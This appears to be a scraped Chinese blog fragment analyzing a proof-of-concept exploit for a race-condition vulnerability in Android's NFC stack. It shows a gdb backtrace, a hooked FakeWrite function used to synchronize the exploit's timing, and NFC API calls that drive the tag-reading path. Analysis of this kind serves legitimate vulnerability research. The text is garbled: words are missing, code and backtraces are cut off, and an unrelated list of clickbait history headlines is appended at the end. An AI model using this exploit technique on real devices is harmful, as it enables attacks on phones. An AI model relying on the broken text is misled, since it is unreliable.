比如解除阻塞的时机是在调用的时候,调用栈是:
(gdb) bt#00x000000555558b804 in FakeWrite(unsigned short, unsigned char*) ()#10x0000007fb63ba7fc in nfc_ncif_check_cmd_queue (p_buf=0x7300007fb644f440) at system/nfc/src/nfc/nfc/nfc_ncif.cc:337#20x0000007fb63bb7cc in nfc_ncif_send_cmd (p_buf=
ueue函数会调用(p_buf)函数发数据给HAL,虽然从调用栈看不出实际就是,但由于之前重载了 的函数指针,实际就是。
void FakeWrite(uint16_t data_len, uint8_t* p_data) {uint8_t reset_pattern[5] = {0x20, 0x1, 0x2, 0x0, 0x0};if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len)) {reset_done_cv.notify_one();}uint8_t i93_detect_pattern[6] = {0x0, 0x0, 0x3, 0x26, 0x1, 0x0};if (data_len == 6 && !memcmp(i93_detect_pattern, p_data, data_len)) {i93_detect_cv.notify_one();}uint8_t t3t_get_system_codes_pattern[7] = {0x21, 0x8, 0x4, 0xff,0xff, 0x1, 0xf};if (data_len == 7 &&!memcmp(t3t_get_system_codes_pattern, p_data, data_len)) {t3t_get_system_codes_cv.notify_one();}}
因为写入NFC需要被频繁调用,必须判断到来的数据包是否符合要求才能执行对应的操作,所以第一个if中判断:
if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len))
符合条件就会解除调用.()阻塞.这里重载HAL函数指针的优势就显现出来了. 函数除了向HAL发送/写入数据之外,还增加了解除poc中各种条件变量阻塞的功能方便了在竞态漏洞利用中进行时序同步。
Part3
代码是:
NFA_EnableListening();NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);NFA_StartRfDiscovery();{std::unique_lock enable_lock(cv_mutex);enable_cv.wait(enable_lock);}std::vector
将NFC开启,并进入模式 。
Part4
代码是:
NFA_RwReadNDef();{std::unique_lock i93_detect_lock(cv_mutex);i93_detect_cv.wait(i93_detect_lock);}
()会读取I93 tag里的数据,此时定时器开始启动用于检测是否超时,下面是I93收到读请求后定时器被启动的调用栈:
#0nfc_start_quick_timer (p_tle=
- 悲催的宋仁宗:挨了皇后的打后竟然向宰相去告状
- 世界上最惨烈的水库溃坝悲剧,河南“75-8”洪灾,究竟有多恐 世界之最不少于75字
- A股历史上十大牛股竟有6成都来自这个板块 中国股市历年十大牛股
- 这么多世界之最竟然都在山西,少看一个都很遗憾!#山西dou知道 历史十个世界之最
- 拜登罕见说实话,承认美国基建不如中国,中国基建究竟有多强? 中国基建处于世界之最吗
- 奇闻:刘备拿下蜀川后第一件事竟是娶个寡妇回家
- 悲情太子:竟然被亲生母亲用卑劣手段废除
- 大将*年羹尧极致荣宠竟仍逃不过命丧黄泉
- 历史上汉代皇帝竟都是*:汉哀帝竟独宠董贤
- 慈禧缘不做汽车的原因竟是不想司机坐她前面!